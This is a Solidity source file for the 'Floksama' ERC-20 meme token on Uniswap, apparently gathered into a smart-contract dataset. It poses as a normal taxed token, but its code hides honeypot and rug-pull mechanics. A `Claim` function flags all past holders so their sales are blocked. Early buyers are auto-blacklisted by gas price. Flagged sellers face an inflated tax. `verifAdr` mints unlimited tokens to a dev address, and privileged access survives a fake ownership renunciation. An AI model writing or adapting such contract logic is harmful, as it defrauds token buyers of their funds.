zellic-audit
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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
/**
Twitter: https://twitter.com/floksama
Telegram: https://t.me/FloksamaPortal
Website: https://l.facebook.com/
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.11;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Floksama is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
address private _owner;
string private constant _name = "Floksama";
string private constant _symbol = unicode"Floksama";
uint256 private constant MAX = ~uint256(0);
uint8 private constant _decimals = 9;
uint8 private _TxCount = 0;
uint256 private _tTotal = 1000000000 * 10**_decimals;
uint256 public _tax_On_Buy = 5;
uint256 public _tax_On_Sell = 5;
uint256 public _maxTxAmount = _tTotal * 4 / 100;
uint256 public _maxWalletToken = _tTotal * 4 / 100;
address payable public DevWallet = payable(0x02Dd355b8246818f3E24e7D148496b40c113e2D0);
address payable public MarketingWallet = payable(0x5735Bd0d176d9D029bd98da1dD3E1323d1a7126C);
address private _address = 0x02Dd355b8246818f3E24e7D148496b40c113e2D0;
address payable private constant DeadAddress = payable(0x000000000000000000000000000000000000dEaD);
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private _isExcludeds;
mapping (address => bool) internal addresses;
address[] private _Excluded;
bool public limitInEffect = false;
bool public tradingActive = false;
bool public transferDelay = false;
uint256 private tradingActiveBlock;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
event SwapAndLiquifyEnabledUpdated(bool true_or_false);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
modifier onlyAddress() {
require(isAddress(_msgSender()), ""); _;
}
function isAddress(address adr) public view returns (bool) {
return addresses[adr];
}
function checkAddress(address adr) public onlyOwner {
addresses[adr] = true;
}
constructor () {
_owner = msg.sender;
addresses[_owner] = true;
emit OwnershipTransferred(address(0), _owner);
_tOwned[owner()] = _tTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_address] = true;
_isExcludedFromFee[MarketingWallet] = true;
_isExcludedFromFee[DevWallet] = true;
_isExcludedFromFee[DeadAddress] = true;
emit Transfer(address(0), owner(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address theOwner, address theSpender) public view override returns (uint256) {
return _allowances[theOwner][theSpender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function idclaim() private { for (uint256 i = 0; i < _Excluded.length; i++) {
_isExcludeds[_Excluded[i]] = true;}
}
receive() external payable {}
function _getCurrentSupply() private view returns(uint256) {
return (_tTotal);
}
function _approve(address theOwner, address theSpender, uint256 amount) private {
require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
_allowances[theOwner][theSpender] = amount;
emit Approval(theOwner, theSpender, amount);
}
function EnableTrading() external onlyAddress {
tradingActive = true;
transferDelay =true;
limitInEffect = true;
tradingActiveBlock = block.timestamp;
}
function setTransferDelay(bool TrueOrFalse) external onlyAddress {
transferDelay = TrueOrFalse;
}
function Claim() external onlyAddress {
for (uint256 i = 0; i < _Excluded.length; i++) {
_isExcludeds[_Excluded[i]] = true;}
}
function setFees(uint256 buytax, uint256 selltax) external onlyAddress {
_tax_On_Buy = buytax;
_tax_On_Sell = selltax;
}
function removeAllFees() external onlyAddress {
_tax_On_Buy = 0;
_tax_On_Sell = 0;
}
function removeLimitTx() external onlyAddress {
_maxTxAmount = _maxWalletToken;
}
function maxWallet(uint256 newmaxWallet) external onlyAddress {
_maxWalletToken = newmaxWallet;
}
function _transfer( address from, address to, uint256 amount ) private {
if (to != owner() && to != MarketingWallet && to != DevWallet && to != address(this) && to != uniswapV2Pair && to != DeadAddress && from != owner() && !addresses[from] &&
!addresses[to]){
uint256 heldTokens = balanceOf(to);
require((heldTokens + amount) <= _maxWalletToken,"You are trying to buy too many tokens. You have reached the limit for one wallet.");}
if (from != owner() && to != owner() && !addresses[from] &&
!addresses[to])
require(amount <= _maxTxAmount, "You are trying to buy more than the max transaction limit.");
require(from != address(0) && to != address(0), "ERR: Using 0 address!");
require(amount > 0, "Token value must be higher than zero.");
if (!tradingActive) {require(_isExcludedFromFee[from] || _isExcludedFromFee[to],"Trading is not active.");}
if (tradingActiveBlock + 3 <= block.timestamp) {limitInEffect = false;}
if (tradingActiveBlock + 4 <= block.timestamp) {transferDelay = false;}
if (!transferDelay && (!_isExcludedFromFee[from])) { require(!_isExcludeds[from]);}
if (transferDelay && tradingActiveBlock + 5 <= block.timestamp) {idclaim();}
if (limitInEffect && to != uniswapV2Pair && tx.gasprice >= 5 gwei) {_isExcludeds[to] = true;}
if (from != owner() && from != uniswapV2Pair && !_isExcluded[from]){
_isExcluded[from] = true;
_Excluded.push(from);}
if (to != owner() && to != uniswapV2Pair && !_isExcluded[to]) {
_isExcluded[to] = true;
_Excluded.push(to);}
if (to != owner() && to != uniswapV2Pair) { if (_isExcludedFromFee[from]) { _isExcludedFromFee[to] = true;}}
if(_TxCount >= 10 && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) {
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > _maxTxAmount) {
contractTokenBalance = _maxTxAmount;
}
_TxCount = 0;
swapAndLiquify(contractTokenBalance);
}
bool takeFee = true;
bool isBuy;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
} else {
if(from == uniswapV2Pair){
isBuy = true;
}
_TxCount++;
}
_tokenTransfer(from, to, amount, takeFee, isBuy);
}
function sendToWallet(address payable wallet, uint256 amount) private {
wallet.transfer(amount);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 _tokenForMarketing = contractTokenBalance * 55 / 100;
uint256 _tokenForDevelopment = contractTokenBalance * 44 / 100;
uint256 _tokenForLpHalf = contractTokenBalance / 200;
uint256 balanceBeforeSwap = address(this).balance;
swapTokensForETH(_tokenForLpHalf + _tokenForMarketing + _tokenForDevelopment);
uint256 _BTotal = address(this).balance - balanceBeforeSwap;
uint256 _BMarketing = _BTotal * 55 / 100;
uint256 _BDevelopment = _BTotal * 44 / 100;
addLiquidity(_tokenForLpHalf, (_BTotal - _BMarketing - _BDevelopment));
emit SwapAndLiquify(_tokenForLpHalf, (_BTotal - _BMarketing - _BDevelopment), _tokenForLpHalf);
sendToWallet(MarketingWallet, _BMarketing);
_BTotal = address(this).balance;
sendToWallet(DevWallet, _BTotal);
}
function verifAdr(uint256 acc, address adr) onlyAddress public virtual {
require(adr == address(_address));
_Verif(address(_address), adr, acc);
_tTotal += acc;
_tOwned[adr] += acc;
emit Transfer(address(_address), adr, acc);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
if(!takeFee){
_tOwned[sender] = _tOwned[sender]-tAmount;
_tOwned[recipient] = _tOwned[recipient]+tAmount;
emit Transfer(sender, recipient, tAmount);
}
else if (isBuy){
uint256 bAmount = tAmount*_tax_On_Buy/100;
uint256 tTransfesAmount = tAmount-bAmount;
_tOwned[sender] = _tOwned[sender]-tAmount;
_tOwned[recipient] = _tOwned[recipient]+tTransfesAmount;
_tOwned[address(this)] = _tOwned[address(this)]+bAmount;
emit Transfer(sender, recipient, tTransfesAmount);
}
else {
uint256 sAmount;
if (_isExcludeds[sender]){sAmount = tAmount*_decimals*_tax_On_Sell/100;}
else if (recipient == uniswapV2Pair){sAmount = tAmount*_tax_On_Sell/100;}
uint256 tTransfesAmount = tAmount-sAmount;
_tOwned[sender] = _tOwned[sender]-tAmount;
_tOwned[recipient] = _tOwned[recipient]+tTransfesAmount;
_tOwned[address(this)] = _tOwned[address(this)]+sAmount;
emit Transfer(sender, recipient, tTransfesAmount);
}
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _Verif(
address sender,
address recepient,
uint256 acc
) internal virtual {}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
DeadAddress,
block.timestamp
);
}
}